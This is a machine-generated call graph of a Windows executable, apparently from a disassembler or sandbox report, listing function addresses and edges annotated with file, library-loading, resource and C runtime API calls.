105393->105392 105394 9dcf32 GetClassLongW 105393->105394 105394->105392 105394->105393 105395->105309 105396->105238 105397->105243 105398->105309 105399->105248 105400->105248 105401->105248 105402->105309 105403->105309 105404->105309 105405->105309 105406->105309 105407->105309 105408->105295 105409->105295 105410->105295 105411->105295 105412->105295 105413->105295 105414->105295 105415->105370 105416->105370 105417->105370 105418->105370 105419->105370 105420->105370 105421->105368 105422->105370 105423->105370 105526 a0445a GetFileAttributesW 105424->105526 105428 9a7667 59 API calls 105427->105428 105429 a0cbaf 105428->105429 105430 9a7667 59 API calls 105429->105430 105431 a0cbb8 105430->105431 105432 a0cbcc 105431->105432 105717 9a9b3c 59 API calls 105431->105717 105434 9a9837 84 API calls 105432->105434 105435 a0cbe9 105434->105435 105436 a0ccea 105435->105436 105437 a0cc0b 105435->105437 105442 a0cd1a Mailbox 105435->105442 105530 9a4ddd 105436->105530 105438 9a9837 84 API calls 105437->105438 105440 a0cc17 105438->105440 105443 9a8047 59 API calls 105440->105443 105442->105385 105446 a0cc23 105443->105446 105444 a0cd16 105444->105442 105445 9a7667 59 API calls 105444->105445 105448 a0cd4b 105445->105448 105451 a0cc37 105446->105451 105452 a0cc69 105446->105452 105447 9a4ddd 136 API calls 105447->105444 105449 9a7667 59 API calls 105448->105449 105450 a0cd54 105449->105450 105455 9a7667 59 API calls 105450->105455 105453 9a8047 59 API calls 105451->105453 105454 9a9837 84 API calls 105452->105454 105456 a0cc47 105453->105456 105457 a0cc76 105454->105457 105458 a0cd5d 105455->105458 105459 9a7cab 59 API calls 105456->105459 105460 9a8047 59 API calls 105457->105460 105461 9a7667 59 API calls 105458->105461 105462 a0cc51 105459->105462 105463 a0cc82 105460->105463 105464 a0cd66 105461->105464 105465 9a9837 84 API calls 105462->105465 105718 a04a31 GetFileAttributesW 105463->105718 105467 9a9837 84 API calls 105464->105467 105468 a0cc5d 105465->105468 105470 a0cd73 105467->105470 105472 9a7b2e 59 API calls 105468->105472 105469 a0cc8b 105473 a0cc9e 105469->105473 105476 9a79f2 59 API calls 105469->105476 105554 9a459b 105470->105554 105472->105452 105475 9a9837 84 API calls 105473->105475 105482 a0cca4 105473->105482 105474 a0cd8e 105605 9a79f2 105474->105605 105478 a0cccb 105475->105478 105476->105473 105719 a037ef 75 API calls Mailbox 105478->105719 105481 a0cdd1 105484 9a8047 59 API calls 105481->105484 105482->105442 105483 9a79f2 59 API calls 105485 a0cdae 105483->105485 105486 a0cddf 105484->105486 105485->105481 105488 9a7bcc 59 API calls 105485->105488 105487 9a7b2e 59 API calls 105486->105487 105489 a0cded 105487->105489 105491 a0cdc3 105488->105491 105490 9a7b2e 59 API calls 105489->105490 105492 a0cdfb 105490->105492 105493 9a7bcc 59 API calls 105491->105493 105494 9a7b2e 59 API calls 105492->105494 105493->105481 105495 a0ce09 105494->105495 105496 9a9837 84 API calls 105495->105496 105497 a0ce15 105496->105497 105608 a04071 105497->105608 105499 a0ce26 105500 a03c37 3 API calls 105499->105500 105501 a0ce30 105500->105501 105502 a0ce61 105501->105502 105503 9a9837 84 API calls 105501->105503 105506 9a4e4a 84 API calls 105502->105506 105504 a0ce4e 105503->105504 105662 a09155 105504->105662 105506->105442 105508 9a4e54 105507->105508 105512 9a4e5b 105507->105512 105509 9c53a6 __fcloseall 83 API calls 105508->105509 105509->105512 105510 9a4e6a 105510->105385 105511 9a4e7b FreeLibrary 105511->105510 105512->105510 105512->105511 105514 9a9837 84 API calls 105513->105514 105515 a14494 105514->105515 106283 9a6240 105515->106283 105517 a144a4 105518 a144c9 105517->105518 105519 9a9ea0 331 API calls 105517->105519 105521 a144cd 105518->105521 106308 9a9a98 59 API calls Mailbox 105518->106308 105519->105518 105521->105385 105522->105381 105523->105385 105524->105379 105525->105383 105527 a03c3e 105526->105527 105528 a04475 FindFirstFileW 105526->105528 105527->105385 105528->105527 105529 a0448a FindClose 105528->105529 105529->105527 105720 9a4bb5 105530->105720 105535 9a4e08 LoadLibraryExW 105730 9a4b6a 105535->105730 105536 9dd8e6 105538 9a4e4a 84 API calls 105536->105538 105540 9dd8ed 105538->105540 105542 9a4b6a 3 API calls 105540->105542 105544 9dd8f5 105542->105544 105543 9a4e2f 105543->105544 105545 9a4e3b 105543->105545 105756 9a4f0b 105544->105756 105547 9a4e4a 84 API calls 105545->105547 105549 9a4e40 105547->105549 105549->105444 105549->105447 105551 9dd91c 105764 9a4ec7 105551->105764 105555 9a7667 59 API calls 105554->105555 105556 9a45b1 105555->105556 105557 9a7667 59 API calls 105556->105557 105558 9a45b9 105557->105558 105559 9a7667 59 API calls 105558->105559 105560 9a45c1 105559->105560 105561 9a7667 59 API calls 105560->105561 105562 9a45c9 105561->105562 105563 9a45fd 105562->105563 105564 9dd4d2 105562->105564 105565 9a784b 59 API calls 105563->105565 105566 9a8047 59 API calls 105564->105566 105567 9a460b 105565->105567 105568 9dd4db 105566->105568 105569 9a7d2c 59 API calls 105567->105569 105570 9a7d8c 59 API calls 105568->105570 105571 9a4615 105569->105571 105573 9a4640 105570->105573 105572 9a784b 59 API calls 105571->105572 105571->105573 105576 9a4636 105572->105576 105574 9a4680 105573->105574 105577 9a465f 105573->105577 105587 9dd4fb 105573->105587 105575 9a784b 59 API calls 105574->105575 105578 9a4691 105575->105578 105579 9a7d2c 59 API calls 105576->105579 105581 9a79f2 59 API calls 105577->105581 105582 9a46a3 105578->105582 105585 9a8047 59 API calls 105578->105585 105579->105573 105580 9dd5cb 105583 9a7bcc 59 API calls 105580->105583 105584 9a4669 105581->105584 105586 9a46b3 105582->105586 105588 9a8047 59 API calls 105582->105588 105600 9dd588 105583->105600 105584->105574 105591 9a784b 59 API calls 105584->105591 105585->105582 105590 9a46ba 105586->105590 105592 9a8047 59 API calls 105586->105592 105587->105580 105589 9dd5b4 105587->105589 105599 9dd532 105587->105599 105588->105586 105589->105580 105595 9dd59f 105589->105595 105593 9a8047 59 API calls 105590->105593 105602 9a46c1 Mailbox 105590->105602 105591->105574 105592->105590 105593->105602 105594 9a79f2 59 API calls 105594->105600 105598 9a7bcc 59 API calls 105595->105598 105596 9dd590 105597 9a7bcc 59 API calls 105596->105597 105597->105600 105598->105600 105599->105596 105603 9dd57b 105599->105603 105600->105574 105600->105594 105936 9a7924 59 API calls 2 library calls 105600->105936 105602->105474 105604 9a7bcc 59 API calls 105603->105604 105604->105600 105606 9a7e4f 59 API calls 105605->105606 105607 9a79fd 105606->105607 105607->105481 105607->105483 105609 a0408d 105608->105609 105610 a040a0 105609->105610 105611 a04092 105609->105611 105613 9a7667 59 API calls 105610->105613 105612 9a8047 59 API calls 105611->105612 105614 a0409b Mailbox 105612->105614 105615 a040a8 105613->105615 105614->105499 105616 9a7667 59 API calls 105615->105616 105617 a040b0 105616->105617 105618 9a7667 59 API calls 105617->105618 105619 a040bb 105618->105619 105620 9a7667 59 API calls 105619->105620 105621 a040c3 105620->105621 105622 9a7667 59 API calls 105621->105622 105623 a040cb 105622->105623 105624 9a7667 59 API calls 105623->105624 105625 a040d3 105624->105625 105626 9a7667 59 API calls 105625->105626 105627 a040db 105626->105627 105628 9a7667 59 API calls 105627->105628 105629 a040e3 105628->105629 105630 9a459b 59 API calls 105629->105630 105631 a040fa 105630->105631 105632 9a459b 59 API calls 105631->105632 105633 a04113 105632->105633 105634 9a79f2 59 API calls 105633->105634 105635 a0411f 105634->105635 105636 a04132 105635->105636 105637 9a7d2c 59 API calls 105635->105637 105638 9a79f2 59 API calls 105636->105638 105637->105636 105639 a0413b 105638->105639 105640 a0414b 105639->105640 105641 9a7d2c 59 API calls 105639->105641 105642 9a8047 59 API calls 105640->105642 105641->105640 105643 a04157 105642->105643 105644 9a7b2e 59 API calls 105643->105644 105645 a04163 105644->105645 105937 a04223 59 API calls 105645->105937 105647 a04172 105938 a04223 59 API calls 105647->105938 105649 a04185 105650 9a79f2 59 API calls 105649->105650 105651 a0418f 105650->105651 105652 a04194 105651->105652 105653 a041a6 105651->105653 105654 9a7cab 59 API calls 105652->105654 105655 9a79f2 59 API calls 105653->105655 105656 a041a1 105654->105656 105657 a041af 105655->105657 105660 9a7b2e 59 API calls 105656->105660 105658 a041cd 105657->105658 105659 9a7cab 59 API calls 105657->105659 105661 9a7b2e 59 API calls 105658->105661 105659->105656 105660->105658 105661->105614 105663 a09162 __ftell_nolock 105662->105663 105664 9c0db6 Mailbox 59 API calls 105663->105664 105665 a091bf 105664->105665 105666 9a522e 59 API calls 105665->105666 105667 a091c9 105666->105667 105668 a08f5f GetSystemTimeAsFileTime 105667->105668 105669 a091d4 105668->105669 105670 9a4ee5 85 API calls 105669->105670 105671 a091e7 _wcscmp 105670->105671 105672 a092b8 105671->105672 105673 a0920b 105671->105673 105674 a09734 96 API calls 105672->105674 105969 a09734 105673->105969 105690 a09284 _wcscat 105674->105690 105678 9a4f0b 74 API calls 105679 a092dd 105678->105679 105681 9a4f0b 74 API calls 105679->105681 105680 a092c1 105680->105502 105683 a092ed 105681->105683 105682 a09239 _wcscat _wcscpy 105976 9c40fb 58 API calls __wsplitpath_helper 105682->105976 105684 9a4f0b 74 API calls 105683->105684 105686 a09308 105684->105686 105687 9a4f0b 74 API calls 105686->105687 105688 a09318 105687->105688 105689 9a4f0b 74 API calls 105688->105689 105691 a09333 105689->105691 105690->105678 105690->105680 105692 9a4f0b 74 API calls 105691->105692 105693 a09343 105692->105693 105694 9a4f0b 74 API calls 105693->105694 105695 a09353 105694->105695 105696 9a4f0b 74 API calls 105695->105696 105697 a09363 105696->105697 105939 a098e3 GetTempPathW GetTempFileNameW 105697->105939 105699 a0936f 105700 9c525b 115 API calls 105699->105700 105710 a09380 105700->105710 105701 a0943a 105953 9c53a6 105701->105953 105703 a09445 105705 a0944b DeleteFileW 105703->105705 105706 a0945f 105703->105706 105704 9a4f0b 74 API calls 105704->105710 105705->105680 105707 a09505 CopyFileW 105706->105707 105712 a09469 _wcsncpy 105706->105712 105708 a0951b DeleteFileW 105707->105708 105709 a0952d DeleteFileW 105707->105709 105708->105680 105966 a098a2 CreateFileW 105709->105966 105710->105680 105710->105701 105710->105704 105940 9c4863 105710->105940 105977 a08b06 105712->105977 105716 a094f4 DeleteFileW 105716->105680 105717->105432 105718->105469 105719->105482 105769 9a4c03 105720->105769 105723 9a4c03 2 API calls 105726 9a4bdc 105723->105726 105724 9a4bec FreeLibrary 105725 9a4bf5 105724->105725 105727 9c525b 105725->105727 105726->105724 105726->105725 105773 9c5270 105727->105773 105729 9a4dfc 105729->105535 105729->105536 105854 9a4c36 105730->105854 105732 9a4b8f 105734 9a4baa 105732->105734 105735 9a4ba1 FreeLibrary 105732->105735 105737 9a4c70 105734->105737 105735->105734 105736 9a4c36 2 API calls 105736->105732 105738 9c0db6 Mailbox 59 API calls 105737->105738 105739 9a4c85 105738->105739 105740 9a522e 59 API calls 105739->105740 105741 9a4c91 _memmove 105740->105741 105742 9a4ccc 105741->105742 105743 9a4d89 105741->105743 105744 9a4dc1 105741->105744 105745 9a4ec7 69 API calls 105742->105745 105858 9a4e89 CreateStreamOnHGlobal 105743->105858 105869 a0991b 95 API calls 105744->105869 105753 9a4cd5 105745->105753 105748 9a4f0b 74 API calls 105748->105753 105749 9a4d69 105749->105543 105751 9dd8a7 105752 9a4ee5 85 API calls 105751->105752 105754 9dd8bb 105752->105754 105753->105748 105753->105749 105753->105751 105864 9a4ee5 105753->105864 105755 9a4f0b 74 API calls 105754->105755 105755->105749 105757 9dd9cd 105756->105757 105758 9a4f1d 105756->105758 105893 9c55e2 105758->105893 105761 a09109 105913 a08f5f 105761->105913 105763 a0911f 105763->105551 105765 9a4ed6 105764->105765 105766 9dd990 105764->105766 105918 9c5c60 105765->105918 105768 9a4ede 105770 9a4bd0 105769->105770 105771 9a4c0c LoadLibraryA 105769->105771 105770->105723 105770->105726 105771->105770 105772 9a4c1d GetProcAddress 105771->105772 105772->105770 105775 9c527c __ioinit 105773->105775 105774 9c528f 105822 9c8b28 58 API calls __getptd_noexit 105774->105822 105775->105774 105777 9c52c0 105775->105777 105792 9d04e8 105777->105792 105778 9c5294 105823 9c8db6 9 API calls __cftoe_l 105778->105823 105781 9c52c5 105782 9c52ce 105781->105782 105783 9c52db 105781->105783 105824 9c8b28 58 API calls __getptd_noexit 105782->105824 105785 9c5305 105783->105785 105786 9c52e5 105783->105786 105807 9d0607 105785->105807 105825 9c8b28 58 API calls __getptd_noexit 105786->105825 105791 9c529f __ioinit @_EH4_CallFilterFunc@8 105791->105729 105793 9d04f4 __ioinit 105792->105793 105794 9c9c0b __lock 58 API calls 105793->105794 105805 9d0502 105794->105805 105795 9d0576 105827 9d05fe 105795->105827 105796 9d057d 105832 9c881d 58 API calls 2 library calls 105796->105832 105799 9d0584 105799->105795 105833 9c9e2b InitializeCriticalSectionAndSpinCount 105799->105833 105800 9d05f3 __ioinit 105800->105781 105802 9c9c93 __mtinitlocknum 58 API calls 105802->105805 105804 9d05aa EnterCriticalSection 105804->105795 105805->105795 105805->105796 105805->105802 105830 9c6c50 59 API calls __lock 105805->105830 105831 9c6cba LeaveCriticalSection LeaveCriticalSection _doexit 105805->105831 105816 9d0627 __wopenfile 105807->105816 105808 9d0641 105838 9c8b28 58 API calls __getptd_noexit 105808->105838 105809 9d07fc 105809->105808 105813 9d085f 105809->105813 105811 9d0646 105839 9c8db6 9 API calls __cftoe_l 105811->105839 105835 9d85a1 105813->105835 105814 9c5310 105826 9c5332 LeaveCriticalSection LeaveCriticalSection _fseek 105814->105826 105816->105808 105816->105809 105840 9c37cb 60 API calls 2 library calls 105816->105840 105818 9d07f5 105818->105809 105841 9c37cb 60 API calls 2 library calls 105818->105841 105820 9d0814 105820->105809 105842 9c37cb 60 API calls 2 library calls 105820->105842 105822->105778 105823->105791 105824->105791 105825->105791 105826->105791 105834 9c9d75 LeaveCriticalSection 105827->105834 105829 9d0605 105829->105800 105830->105805 105831->105805 105832->105799 105833->105804 105834->105829 105843 9d7d85 105835->105843 105837 9d85ba 105837->105814 105838->105811 105839->105814 105840->105818 105841->105820 105842->105809 105844 9d7d91 __ioinit 105843->105844 105845 9d7da7 105844->105845 105848 9d7ddd 105844->105848 105846 9c8b28 __cftoe_l 58 API calls 105845->105846 105847 9d7dac 105846->105847 105849 9c8db6 __cftoe_l 9 API calls 105847->105849 105850 9d7e4e __wsopen_nolock 109 API calls 105848->105850 105853 9d7db6 __ioinit 105849->105853 105851 9d7df9 105850->105851 105852 9d7e22 __wsopen_helper LeaveCriticalSection 105851->105852 105852->105853 105853->105837 105855 9a4b83 105854->105855 105856 9a4c3f LoadLibraryA 105854->105856 105855->105732 105855->105736 105856->105855 105857 9a4c50 GetProcAddress 105856->105857 105857->105855 105859 9a4ea3 FindResourceExW 105858->105859 105863 9a4ec0 105858->105863 105860 9dd933 LoadResource 105859->105860 105859->105863 105861 9dd948 SizeofResource 105860->105861 105860->105863 105862 9dd95c LockResource 105861->105862 105861->105863 105862->105863 105863->105742 105865 9dd9ab 105864->105865 105866 9a4ef4 105864->105866 105870 9c584d 105866->105870 105868 9a4f02 105868->105753 105869->105742 105872 9c5859 __ioinit 105870->105872 105871 9c586b 105883 9c8b28 58 API calls __getptd_noexit 105871->105883 105872->105871 105874 9c5891 105872->105874 105885 9c6c11 105874->105885 105876 9c5870 105884 9c8db6 9 API calls __cftoe_l 105876->105884 105880 9c58a6 105892 9c58c8 LeaveCriticalSection LeaveCriticalSection _fseek 105880->105892 105882 9c587b __ioinit 105882->105868 105883->105876 105884->105882 105886 9c6c21 105885->105886 105887 9c6c43 EnterCriticalSection 105885->105887 105886->105887 105888 9c6c29 105886->105888 105889 9c5897 105887->105889 105890 9c9c0b __lock 58 API calls 105888->105890 105891 9c57be 83 API calls 5 library calls 105889->105891 105890->105889 105891->105880 105892->105882 105896 9c55fd 105893->105896 105895 9a4f2e 105895->105761 105897 9c5609 __ioinit 105896->105897 105898 9c564c 105897->105898 105899 9c561f _memset 105897->105899 105900 9c5644 __ioinit 105897->105900 105901 9c6c11 __lock_file 59 API calls 105898->105901 105909 9c8b28 58 API calls __getptd_noexit 105899->105909 105900->105895 105903 9c5652 105901->105903 105911 9c541d 72 API calls 6 library calls 105903->105911 105904 9c5639 105910 9c8db6 9 API calls __cftoe_l 105904->105910 105906 9c5668 105912 9c5686 LeaveCriticalSection LeaveCriticalSection _fseek 105906->105912 105909->105904 105910->105900 105911->105906 105912->105900 105916 9c520a GetSystemTimeAsFileTime 105913->105916 105915 a08f6e 105915->105763 105917 9c5238 __aulldiv 105916->105917 105917->105915 105919 9c5c6c __ioinit 105918->105919 105920 9c5c7e 105919->105920 105921 9c5c93 105919->105921 105932 9c8b28 58 API calls __getptd_noexit 105920->105932 105922 9c6c11 __lock_file 59 API calls 105921->105922 105924 9c5c99 105922->105924 105934 9c58d0 67 API calls 5 library calls 105924->105934 105925 9c5c83 105933 9c8db6 9 API calls __cftoe_l 105925->105933 105928 9c5ca4 105935 9c5cc4 LeaveCriticalSection LeaveCriticalSection _fseek 105928->105935 105929 9c5c8e __ioinit 105929->105768 105931 9c5cb6 105931->105929 105932->105925 105933->105929 105934->105928 105935->105931 105936->105600 105937->105647 105938->105649 105939->105699 105941 9c486f __ioinit 105940->105941 105942 9c488d 105941->105942 105943 9c48a5 105941->105943 105944 9c489d __ioinit 105941->105944 106020 9c8b28 58 API calls __getptd_noexit 105942->106020 105945 9c6c11 __lock_file 59 API calls 105943->105945 105944->105710 105947 9c48ab 105945->105947 106008 9c470a 105947->106008 105948 9c4892 106021 9c8db6 9 API calls __cftoe_l 105948->106021 105954 9c53b2 __ioinit 105953->105954 105955 9c53de 105954->105955 105956 9c53c6 105954->105956 105959 9c6c11 __lock_file 59 API calls 105955->105959 105962 9c53d6 __ioinit 105955->105962 106199 9c8b28 58 API calls __getptd_noexit 105956->106199 105958 9c53cb 106200 9c8db6 9 API calls __cftoe_l 105958->106200 105961 9c53f0 105959->105961 106183 9c533a 105961->106183 105962->105703 105967 a098c8 SetFileTime CloseHandle 105966->105967 105968 a098de 105966->105968 105967->105968 105968->105680 105974 a09748 __tzset_nolock _wcscmp 105969->105974 105970 a09210 105970->105680 105975 9c40fb 58 API calls __wsplitpath_helper 105970->105975 105971 9a4f0b 74 API calls 105971->105974 105972 a09109 GetSystemTimeAsFileTime 105972->105974 105973 9a4ee5 85 API calls 105973->105974 105974->105970 105974->105971 105974->105972 105974->105973 105975->105682 105976->105690 105978 a08b11 105977->105978 105981 a08b1f 105977->105981 105979 9c525b 115 API calls 105978->105979 105979->105981 105980 a08b64 106272 a08d91 74 API calls 3 library calls 105980->106272 105981->105980 105982 9c525b 115 API calls 105981->105982 106007 a08b28 105981->106007 105983 a08b49 105982->105983 105983->105980 105985 a08b52 105983->105985 105989 9c53a6 __fcloseall 83 API calls 105985->105989 105985->106007 105986 a08ba8 105987 a08bac 105986->105987 105988 a08bcd 105986->105988 105991 a08bb9 105987->105991 105993 9c53a6 __fcloseall 83 API calls 105987->105993 106273 a089a9 58 API calls __crtGetStringTypeA_stat 105988->106273 105989->106007 105994 9c53a6 __fcloseall 83 API calls 105991->105994 105991->106007 105992 a08bd5 105995 a08bfb 105992->105995 105996 a08bdb 105992->105996 105993->105991 105994->106007 106274 a08c2b 90 API calls 105995->106274 105998 a08be8 105996->105998 106000 9c53a6 __fcloseall 83 API calls 105996->106000 106002 9c53a6 __fcloseall 83 API calls 105998->106002 105998->106007 105999 a08c02 106275 a08d0d 105999->106275 106000->105998 106002->106007 106005 9c53a6 __fcloseall 83 API calls 106007->105709 106007->105716 106010 9c4719 106008->106010 106015 9c4737 106008->106015 106009 9c4727 106058 9c8b28 58 API calls __getptd_noexit 106009->106058 106010->106009 106010->106015 106018 9c4751 _memmove 106010->106018 106012 9c472c 106059 9c8db6 9 API calls __cftoe_l 106012->106059 106022 9c48dd LeaveCriticalSection LeaveCriticalSection _fseek 106015->106022 106018->106015 106023 9c46e6 106018->106023 106030 9cd886 106018->106030 106060 9c4a3d 106018->106060 106066 9cae1e 78 API calls 5 library calls 106018->106066 106020->105948 106021->105944 106022->105944 106024 9c4705 106023->106024 106025 9c46f0 106023->106025 106024->106018 106067 9c8b28 58 API calls __getptd_noexit 106025->106067 106027 9c46f5 106068 9c8db6 9 API calls __cftoe_l 106027->106068 106029 9c4700 106029->106018 106031 9cd892 __ioinit 106030->106031 106032 9cd89f 106031->106032 106033 9cd8b6 106031->106033 106142 9c8af4 58 API calls __getptd_noexit 106032->106142 106034 9cd955 106033->106034 106036 9cd8ca 106033->106036 106148 9c8af4 58 API calls __getptd_noexit 106034->106148 106039 9cd8e8 106036->106039 106040 9cd8f2 106036->106040 106038 9cd8a4 106143 9c8b28 58 API calls __getptd_noexit 106038->106143 106144 9c8af4 58 API calls __getptd_noexit 106039->106144 106069 9cd206 106040->106069 106041 9cd8ed 106149 9c8b28 58 API calls __getptd_noexit 106041->106149 106045 9cd8ab __ioinit 106045->106018 106046 9cd8f8 106048 9cd91e 106046->106048 106049 9cd90b 106046->106049 106145 9c8b28 58 API calls __getptd_noexit 106048->106145 106078 9cd975 106049->106078 106050 9cd961 106150 9c8db6 9 API calls __cftoe_l 106050->106150 106054 9cd923 106146 9c8af4 58 API calls __getptd_noexit 106054->106146 106057 9cd917 106147 9cd94d LeaveCriticalSection __unlock_fhandle 106057->106147 106058->106012 106059->106015 106061 9c4a50 106060->106061 106065 9c4a74 106060->106065 106062 9c46e6 __flswbuf 58 API calls 106061->106062 106061->106065 106063 9c4a6d 106062->106063 106064 9cd886 __write 78 API calls 106063->106064 106064->106065 106065->106018 106066->106018 106067->106027 106068->106029 106070 9cd212 __ioinit 106069->106070 106071 9cd261 EnterCriticalSection 106070->106071 106073 9c9c0b __lock 58 API calls 106070->106073 106072 9cd287 __ioinit 106071->106072 106072->106046 106074 9cd237 106073->106074 106077 9cd24f 106074->106077 106151 9c9e2b InitializeCriticalSectionAndSpinCount 106074->106151 106152 9cd28b LeaveCriticalSection _doexit 106077->106152 106079 9cd982 __ftell_nolock 106078->106079 106080 9cd9e0 106079->106080 106081 9cd9c1 106079->106081 106124 9cd9b6 106079->106124 106084 9cda38 106080->106084 106085 9cda1c 106080->106085 106162 9c8af4 58 API calls __getptd_noexit 106081->106162 106088 9cda51 106084->106088 106168 9d18c1 60 API calls 3 library calls 106084->106168 106165 9c8af4 58 API calls __getptd_noexit 106085->106165 106087 9cd9c6 106176 9cc5f6 106124->106176 106142->106038 106143->106045 106144->106041 106145->106054 106146->106057 106147->106045 106148->106041 106149->106050 106150->106045 106151->106077 106152->106071 106162->106087 106168->106088 106177 9cc5fe 106176->106177 106178 9cc600 IsProcessorFeaturePresent 106176->106178 106184 9c535d 106183->106184 106185 9c5349 106183->106185 106187 9c5359 106184->106187 106189 9c4a3d __flush 78 API calls 106184->106189 106232 9c8b28 58 API calls __getptd_noexit 106185->106232 106201 9c5415 LeaveCriticalSection LeaveCriticalSection _fseek 106187->106201 106188 9c534e 106233 9c8db6 9 API calls __cftoe_l 106188->106233 106191 9c5369 106189->106191 106202 9d0b77 106191->106202 106194 9c46e6 __flswbuf 58 API calls 106195 9c5377 106194->106195 106206 9d0a02 106195->106206 106197 9c537d 106197->106187 106198 9c2d55 _free 58 API calls 106197->106198 106198->106187 106199->105958 106200->105962 106201->105962 106203 9c5371 106202->106203 106204 9d0b84 106202->106204 106203->106194 106204->106203 106205 9c2d55 _free 58 API calls 106204->106205 106205->106203 106207 9d0a0e __ioinit 106206->106207 106208 9d0a1b 106207->106208 106209 9d0a32 106207->106209 106249 9c8af4 58 API calls __getptd_noexit 106208->106249 106211 9d0abd 106209->106211 106213 9d0a42 106209->106213 106254 9c8af4 58 API calls __getptd_noexit 106211->106254 106212 9d0a20 106250 9c8b28 58 API calls __getptd_noexit 106212->106250 106216 9d0a6a 106213->106216 106217 9d0a60 106213->106217 106219 9cd206 ___lock_fhandle 59 API calls 106216->106219 106251 9c8af4 58 API calls __getptd_noexit 106217->106251 106218 9d0a65 106255 9c8b28 58 API calls __getptd_noexit 106218->106255 106222 9d0a70 106219->106222 106224 9d0a8e 106222->106224 106225 9d0a83 106222->106225 106223 9d0ac9 106256 9c8db6 9 API calls __cftoe_l 106223->106256 106252 9c8b28 58 API calls __getptd_noexit 106224->106252 106234 9d0add 106225->106234 106228 9d0a27 __ioinit 106228->106197 106232->106188 106233->106187 106249->106212 106250->106228 106251->106218 106254->106218 106255->106223 106256->106228 106272->105986 106273->105992 106274->105999 106276 a08d20 106275->106276 106277 a08d1a 106275->106277 106279 a08d31 106276->106279 106280 9c2d55 _free 58 API calls 106276->106280 106278 9c2d55 _free 58 API calls 106277->106278 106278->106276 106281 a08c09 106279->106281 106282 9c2d55 _free 58 API calls 106279->106282 106280->106279 106281->106005 106282->106281 106284 9a7a16 59 API calls 106283->106284 106302 9a6265 106284->106302 106285 9a646a 106311 9a750f 106285->106311 106287 9a6484 Mailbox 106287->105517 106290 9a750f 59 API calls 106290->106302 106291 9ddff6 106321 9ff8aa 91 API calls 4 library calls 106291->106321 106295 9de004 106297 9a750f 59 API calls 106295->106297 106296 9a7d8c 59 API calls 106296->106302 106298 9de01a 106297->106298 106298->106287 106299 9a6799 _memmove 106322 9ff8aa 91 API calls 4 library calls 106299->106322 106300 9ddf92 106301 9a8029 59 API calls 106300->106301 106303 9ddf9d 106301->106303 106302->106285 106302->106290 106302->106291 106302->106296 106302->106299 106302->106300 106305 9a7e4f 59 API calls 106302->106305 106309 9a5f6c 60 API calls 106302->106309 106310 9a5d41 59 API calls Mailbox 106302->106310 106319 9a5e72 60 API calls 106302->106319 106320 9a7924 59 API calls 2 library calls 106302->106320 106307 9c0db6 Mailbox 59 API calls 106303->106307 106306 9a643b CharUpperBuffW 106305->106306 106306->106302 106307->106299 106308->105521 106309->106302 106310->106302 106312 9a75af 106311->106312 106318 9a7522 _memmove 106311->106318 106314 9c0db6 Mailbox 59 API calls 106312->106314 106313 9c0db6 Mailbox 59 API calls 106315 9a7529 106313->106315 106314->106318 106316 9a7552 106315->106316 106317 9c0db6 Mailbox 59 API calls 106315->106317 106316->106287 106317->106316 106318->106313 106319->106302 106320->106302 106321->106295 106322->106287 106323->105333 106324 9c7c56 106325 9c7c62 __ioinit 106324->106325 106361 9c9e08 GetStartupInfoW 106325->106361 106327 9c7c67 106363 9c8b7c GetProcessHeap 106327->106363 106329 9c7cbf 106330 9c7cca 106329->106330 106446 9c7da6 58 API calls 3 library calls 106329->106446 106364 9c9ae6 106330->106364 106333 9c7cd0 106334 9c7cdb __RTC_Initialize 106333->106334 106447 9c7da6 58 API calls 3 library calls 106333->106447 106385 9cd5d2 106334->106385 106337 9c7cea 106338 9c7cf6 GetCommandLineW 106337->106338 106448 9c7da6 58 API calls 3 library calls 106337->106448 106404 9d4f23 GetEnvironmentStringsW 106338->106404 106341 9c7cf5 106341->106338 106344 9c7d10 106345 9c7d1b 106344->106345 106449 9c30b5 58 API calls 3 library calls 106344->106449 106414 9d4d58 106345->106414 106348 9c7d21 106349 9c7d2c 106348->106349 106450 9c30b5 58 API calls 3 library calls 106348->106450 106428 9c30ef 106349->106428 106352 9c7d34 106353 9c7d3f __wwincmdln 106352->106353 106451 9c30b5 58 API calls 3 library calls 106352->106451 106434 9a47d0 106353->106434 106356 9c7d53 106357 9c7d62 106356->106357 106452 9c3358 58 API calls _doexit 106356->106452 106453 9c30e0 58 API calls _doexit 106357->106453 106360 9c7d67 __ioinit 106362 9c9e1e 106361->106362 106362->106327 106363->106329 106454 9c3187 36 API calls 2 library calls 106364->106454 106366 9c9aeb 106455 9c9d3c InitializeCriticalSectionAndSpinCount __ioinit 106366->106455 106368 9c9af0 106369 9c9af4 106368->106369 106457 9c9d8a TlsAlloc 106368->106457 106456 9c9b5c 61 API calls 2 library calls 106369->106456 106372 9c9af9 106372->106333 106373 9c9b06 106373->106369 106374 9c9b11 106373->106374 106458 9c87d5 106374->106458 106377 9c9b53 106466 9c9b5c 61 API calls 2 library calls 106377->106466 106380 9c9b58 106380->106333 106381 9c9b32 106381->106377 106382 9c9b38 106381->106382 106465 9c9a33 58 API calls 4 library calls 106382->106465 106384 9c9b40 GetCurrentThreadId 106384->106333 106386 9cd5de __ioinit 106385->106386 106387 9c9c0b __lock 58 API calls 106386->106387 106388 9cd5e5 106387->106388 106389 9c87d5 __calloc_crt 58 API calls 106388->106389 106390 9cd5f6 106389->106390 106391 9cd661 GetStartupInfoW 106390->106391 106392 9cd601 __ioinit @_EH4_CallFilterFunc@8 106390->106392 106398 9cd676 106391->106398 106401 9cd7a5 106391->106401 106392->106337 106393 9cd86d 106480 9cd87d LeaveCriticalSection _doexit 106393->106480 106395 9c87d5 __calloc_crt 58 API calls 106395->106398 106396 9cd7f2 GetStdHandle 106396->106401 106397 9cd805 GetFileType 106397->106401 106398->106395 106400 9cd6c4 106398->106400 106398->106401 106399 9cd6f8 GetFileType 106399->106400 106400->106399 106400->106401 106478 9c9e2b InitializeCriticalSectionAndSpinCount 106400->106478 106401->106393 106401->106396 106401->106397 106479 9c9e2b InitializeCriticalSectionAndSpinCount 106401->106479 106405 9c7d06 106404->106405 106406 9d4f34 106404->106406 106410 9d4b1b GetModuleFileNameW 106405->106410 106481 9c881d 58 API calls 2 library calls 106406->106481 106408 9d4f5a _memmove 106409 9d4f70 FreeEnvironmentStringsW 106408->106409 106409->106405 106411 9d4b4f _wparse_cmdline 106410->106411 106413 9d4b8f _wparse_cmdline 106411->106413 106482 9c881d 58 API calls 2 library calls 106411->106482 106413->106344 106415 9d4d71 __wsetenvp 106414->106415 106419 9d4d69 106414->106419 106416 9c87d5 __calloc_crt 58 API calls 106415->106416 106424 9d4d9a __wsetenvp 106416->106424 106417 9d4df1 106418 9c2d55 _free 58 API calls 106417->106418 